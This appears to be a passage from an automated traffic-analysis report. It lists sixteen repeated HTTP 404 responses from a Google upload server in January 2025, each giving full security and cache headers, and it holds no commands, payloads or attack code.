Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQXAhPWR9XxZT7Zf1avqSYLdKrJi9eWhWatEqjOHtg3NYPwz9SiLzN5HZ_Ofitno5DVContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:05 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-KyS7PoPuWwSleTI2YPIWJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRLN2hHNgHadDyjbHkDIejP_rc_PEBZvlpo8Zr1Nrw_4nLmhUHWWUUepfsPn57wBl9YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:07 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-0XQU5w46C9o9sFj8tcf-MA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6YCsH2EuQyep-wImEfpcXIyghGGUnCucgEwKk7kWInKiiyHEFO2m46bAoHZkx6KMykContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:09 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-CYk39Zhs9tEnp8pXEabm4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQxFF9m1p7SgXmQmgCIoH_o0QEzvSqXbOgMJ0f3kvD8UXazqjuZwqoIWakRsu0aD0lAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:12 GMTContent-Security-Policy: script-src 'nonce--jXm5Q9HdG232UYPwLzM1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5LbuqbSvEbqSLdGWvuLGqnxUjQ2BD2TuRfWPix9tryIF6dBEE8LZCj7rQ3YFnCboWOw9JWCOIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:14 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-nwpEcFl54kIq_lOwwzg0Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Gr6TEF7uEmVvbqw8DUGGuffu-VDXaxs5Ue-FiRjd3fE5aMZ3iGD9kA45FIKsNiU9tgWvC0KsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:16 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-JbJgZJ1SAzmhQgKqq-3dLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTf4FXDoalZDwr04025LGVKQSPmSk6BnRYaaRJULhZDYftohSGpwBVeGGd8FeQUe1xDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:19 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-AGraDgHtaRFvNcblfixvfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSL1uz_VrH_36FkOgcSfjl9mZ7z2oiNphIP-6Mh5y_yueGT42ql66dK6WLcIM5bUuR078VjD24Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-S9SwmJFYe-CTa6FZOAk84g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSEUf-K29TV9HspK0iSDM7RCSRVKz_kA2P1kbpvXmXkwhwemq6I7T49-nmDdVhGUd_DContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:23 GMTContent-Security-Policy: script-src 'nonce-Ym_zG50vr_fB-inpM67hIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4BY1nMj23zxUvINk7iCRVYfwnM7SJyS59HLu01AxQcbEt_t1PMsBTa1puGL-7HJd-jContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-XNh2jNlbj1Z485zPG3wAcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTBBergi_s54k7dUz975d3ixzRUK8TNFx8aKzjtZ2sRaKib5nquoehgflUCUTfplAuoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:28 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Dmo84NXbWAtznyBEhBK7TQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6jyjbFgl1gbFUK4iRhij7444whM1hxRBhLWIo4H4OpzRGSuyM374RKBzIlJfs8wkx9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:30 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-zHYg6pJBMH4ucdlT9rCToA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4SLsGYiHjPz9MQVJJkoc26BLu4oYhKQquwdqkDK-wlscsZvDAuJdgoNE6H7ErPhPRuuXwXY64Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:32 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-laBNzsWtaoWMY9rnk9sxWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTanNM34eTwf832VRdI7g2hcBWVzS6Mxm5pK_tkR-eCaa9_Di4DLVsJ4OLf-s2mjb-7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:35 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-90iwcmhoHxf74y5pcud6Cw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQhJzHgozB75gam0sM-sATueUkc-xiOce4FQxkww4vUwqrhlTNm0doDgK0_ngwFrbntContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:37 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-7UH3_v7O71nzk3AW6Gnnxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
